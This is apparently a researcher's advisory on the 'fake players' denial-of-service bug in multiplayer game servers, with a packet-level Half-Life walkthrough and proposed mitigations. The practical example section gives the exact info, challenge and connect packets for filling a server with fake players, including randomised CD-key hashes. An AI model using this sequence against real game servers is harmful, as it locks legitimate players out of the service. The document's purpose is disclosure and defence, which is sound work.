####################################################################### Title: An introduction to the Fake players bug and DoS 0.1.1 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### Introduction What games are vulnerables What games are NOT vulnerables Causes Effects Disadvantages for the attacker Practical example Possible solutions Conclusion ####################################################################### ============ Introduction ============ First of all, this bug has videogames as target and affects almost all the games with multiplayer support currently available; there is not too much to say about, however if you are not a gamer probably you could find this document enough interesting (... I hope eh eh eh). Each online game server (on Internet or in LAN) lets players to join and to start playing having tons of fun with other players. That's just why exists multiplayer 8-) Just the players are the major problem of games because each server has a limit of players and the checks made by it to let these players to enter in the game are really poor. This means that an attacker can fill a game server with a custom number of unexistent players (1 player is "emulated" by no more than one or two packets of data) and the server after reached the maximum number of players will not accept others. The effect is a Denial of Service (DoS) where the real players cannot use the service offered by the server because it is already full. ####################################################################### ========================== What games are vulnerables ========================== By what I know and I have seen in the games I have tested... almost all the games with multiplayer support are vulnerables. With multiplayer support I mean the following requirement: - the presence of a server that hosts the match and clients that want to join the hosted match - a protocol of communication specific for the game. The protocol is used to send data and informations to let the players to join, to let the exchange of informations and also the to send and receive data of the match's situation (players movements, shots and so on). So we have games like Half-life, Quake 3 and UnrealTournament that are vulnerables to the Fake player bug. ####################################################################### ============================== What games are NOT vulnerables ============================== Practically all the games that use a centralized server where can exists only ONE player with the same informations and that permits access only through a good authentication. An example are the MMORPG games (massive multiplayer online role-playing games) where exists one world where there are no limits of players (officially) and exists an authentication and the presence of only one player (each player is usually authorized by username and password or by a cd-key). ####################################################################### ====== Causes ====== Almost all the videogames use the UDP protocol to communicate just because the connection-less packets are easy to manage and moreover are faster than TCP connections. However the usage of UDP is not the real cause of the fake players bug but it is a good thing for who launchs the fake players attacks just because: - he don't need to use too much resources on his machine - the exploits can be easily written - possible spoofing the packets (spoofing can easily avoid using unique challenge keys based on source IP:port) However the main cause is just the absence of real checks, in fact sometimes is needed only one UDP packet to create a fake player into the target server. ####################################################################### ======= Effects ======= The known effects of this type of attack are: 1) real players cannot join a server under attack because it is full 2) games that use "lobby style multiplayer" have a bad DoS because the match cannot start. Practically the server is something like a room. Players enter in this room where they can chat and must push a "ready" button if they wanna start the match (all the players must be ready). When there is a fake players attack the match cannot start because the fake players will not set the ready flag and althogh the admin kick them, they will reenter in the same moment (usually this type of game doesn't allow the IP banning) 3) others effect specific of some games and, so, cannot be listed here ####################################################################### ============================== Disadvantages for the attacker ============================== Naturally also the attacker will have problems using this type of attack. The main problem is the bandwidth in reception (download), in fact everytime that a player is accepted, the server (usually) starts to send a lot of data to the client. The packets that the attacker will receive are keep-alive packets and probably also game data. ####################################################################### ================= Practical example ================= The following is the first fake players bug I have found (and probably is also the first ever found... boh... I don't know and it is not important). The fake players bug in Half-Life for not-WON authenticated servers (as LAN and Internet servers that don't use the WON authentication): Informations to know before starting: 1) The server uses a challenge key (32bit number) that is the identifier of the current match hosted by it (so, new match = new key) 2) The server doesn't accept players/packets from the same source port (of the same IP address naturally). That means that each player from the same IP address must use a different source port or will not be accepted (this is only an useless note, because almost all the multiplayer games use this method) 3) we will use the UDP protocol and the destination (server) port is the default 27015 Let's go with the attack: 1) We need some informations useful to launch our attack. We need to know exactly: - the protocol wanted - if we must send a password or not - if the server is already full or not From: client To: server Data: ÿÿÿÿinfostring | | | request 0xffffffff means that we are using the info/login channel. Half-Life and other games based on the Quake engine use 2 virtual "channels": informations and data 2) The server sends us just the information we want: From: server To: client Data (in hex format): ff ff ff ff 69 6e ÿÿÿÿin 66 6f 73 74 72 69 6e 67 72 65 73 70 6f 6e 73 65 fostringresponse 00 5c 70 72 6f 74 6f 63 6f 6c 5c 34 36 5c 61 64 .\protocol\46\ad 64 72 65 73 73 5c 31 39 32 2e 31 36 38 2e 30 2e dress\192.168.0. 33 3a 32 37 30 31 35 5c 70 6c 61 79 65 72 73 5c 3:27015\players\ 30 5c 70 72 6f 78 79 74 61 72 67 65 74 5c 30 5c 0\proxytarget\0\ 6c 61 6e 5c 31 5c 6d 61 78 5c 36 5c 62 6f 74 73 lan\1\max\6\bots 5c 30 5c 67 61 6d 65 64 69 72 5c 76 61 6c 76 65 \0\gamedir\valve 5c 64 65 73 63 72 69 70 74 69 6f 6e 5c 48 61 6c \description\Hal 66 2d 4c 69 66 65 5c 68 6f 73 74 6e 61 6d 65 5c f-Life\hostname\ 54 65 73 74 5c 6d 61 70 5c 66 72 65 6e 7a 79 5c Test\map\frenzy\ 74 79 70 65 5c 64 5c 70 61 73 73 77 6f 72 64 5c type\d\password\ 30 5c 6f 73 5c 6c 5c 73 65 63 75 72 65 5c 30 00 0\os\l\secure\0. If you need to know what these parameter mean, you can find tons of informations on Internet. What we need are: \protocol\46 The protocol we need is 46 \password\0 good, the server don't require password. If the server requires password we must simply send it in plain text when we will launch the attack \players\0 good, the server is not full so we can launch our attack. If it is full we must simply request the same informations each time (some seconds) so when will be a new empty place, our fake player will get it. 3) Now we need the challenge key of the current match: From: client To: server Data: ÿÿÿÿgetchallenge 4) The server will send us just the info we have requested From: server To: client Data: ÿÿÿÿA00000000 916706044 1 The challenge key is just 916706044 5) Now we can launch the attack. A "connect" packet (the command used to join) is like the follwoing: From: client To: server Data (in hex format): ff ff ff ff 63 6f ÿÿÿÿco 6e 6e 65 63 74 20 34 36 20 20 31 35 31 31 32 35 nnect 46 151125 33 36 36 31 20 22 5c 70 72 6f 74 5c 32 5c 75 6e 3661 "\prot\2\un 69 71 75 65 5c 2d 31 5c 72 61 77 5c 66 66 66 66 ique\-1\raw\ffff 66 37 62 64 65 66 37 33 39 34 32 31 30 30 30 30 f7bdef7394210000 30 38 34 32 31 30 38 63 36 33 31 30 22 20 22 5c 0842108c6310" "\ 6d 6f 64 65 6c 5c 67 6f 72 64 6f 6e 5c 74 6f 70 model\gordon\top 63 6f 6c 6f 72 5c 31 32 38 5c 62 6f 74 74 6f 6d color\128\bottom 63 6f 6c 6f 72 5c 31 32 38 5c 72 61 74 65 5c 39 color\128\rate\9 39 39 39 2e 30 30 30 30 30 30 5c 63 6c 5f 75 70 999.000000\cl_up 64 61 74 65 72 61 74 65 5c 32 30 5c 63 6c 5f 6c daterate\20\cl_l 77 5c 31 5c 63 6c 5f 6c 63 5c 31 5c 63 6c 5f 64 w\1\cl_lc\1\cl_d 6c 6d 61 78 5c 31 32 38 5c 68 75 64 5f 63 6c 61 lmax\128\hud_cla 73 73 61 75 74 6f 6b 69 6c 6c 5c 31 5c 6e 61 6d ssautokill\1\nam 65 5c 6d 79 6e 61 6d 65 22 0a e\myname". here we can see: - connect the command to join - 46 the protocol - raw 32 bytes (hex) that are the identifiers of the CD-KEY used by the client. The attack is made versus servers that do not use the WON server so they don't check the client's CD-KEY. However each server can accept max 4 clients at the same time with the same key. Randomization will help us 8-) - password although this parameter is not in the example dump, it is used when we want to join a password protected server. If the password is hello, we will use \password\hello 6) Confirmation from the server From: server To: client Data: ÿÿÿÿB 4294967295 1 "192.168.0.3:65182" | | | | | | | | | our IP:port (registered by the server) | | | our client number | | this is the value we have used in the parameter unique | | used in the previous packet | successfully joined 0xfffffff: information data The server has accepted our new player. 7) If the server is full, it will send the following packet From: server To: client Data: ÿÿÿÿ9Server is full The fake players generated are only "virtual" players that will not be spawned in the game's place (for example the arena or a map). In all the games I have seen, only one instead considers the new players as REAL players. The game is the first Unreal game by Epic. It's incredibly fun to see the new fake players that spawn in the default spawn locations and kill themself spawning at the same place ah ah ah 8-) ####################################################################### ================== Possible solutions ================== The following are some ideas and partial ideas that can "limit" this problem: - don't adding players to the server so easily (usually is needed no more than one packet!) - using challenge keys based on the source IP and port (as used by the Quake 3 engine to avoid also the usage of spoofing attacks) - using smaller timeouts and to let the admins to add more flexible bans based on defined policies. For example: the attacker successfully adds a fake player to the server, then the player goes in timeout and the attacker will redo the same operation. I think that an automatic banning based on the number of timeouts collected by the same IP could be interesting but the limit of this method is for the other players that are behind the same NAT used by the banned attacker 8-( Multiple players behind the same IP (NAT) are a problem for bans based on IP addresses. - usage of unique cd-keys authenticated via centralized servers. Until now this has been the better implemented solution - the usage of TCP for the initial login is most secure and limit possible abuses because are needed more resources for the attack - others...??? The only effectiveness solution I have find in the modern games is the usage of a unique cd-keys checked by a centralized server. This method naturally don't limit the fake players DoS versus servers in LANs, but at least limits the number of attacks versus public servers. An unique cd-key can be easily banned if who uses it is the author of some fake players DoS, just because he NEEDS the key to launch the attack versus Internet servers that require the central authorization and without the key he has no power. The advantages of this solution are: - to limit the fake players DoS - to limit (a bit) the piracy Instead the disadvantages are: - the centralized server could be the target of other types of attacks without the centralized authorization server doesn't exist the authorization - the usage of unique cd-keys lets the attackers and the cheaters to be more hungry of keys. The effect could be the usage of brute force tools to retrieve the valid cd-keys from the centralized server or the raise of cd-keys'theft - personally I don't like too much the idea to be "logged" and traced by a server Then exists ever the latest method: security through obscurity (as the usage of algorithms and protocol that hide the data and are difficult to understand or reverse. This method naturally does NOT offer a real security but some games like to encode their packets so an attacker who wanna launch a fake players DoS must first reverse the algorithm used to encode the data or finding other "alternative" methods. Fortunately (for the attacker) is not ever needed to reverse an algorithm or to understand a protocol, in fact sometimes can be used also the same encoded packet dumped with a sniffer (as happens with Tribes 1) ####################################################################### ========== Conclusion ========== The games'developers should take more time when they write the network protocol of their games and should pay attention to all the known and common problems availables. If you have ideas or things to add to this document, comments or other types of feedeback, let me know! #######################################################################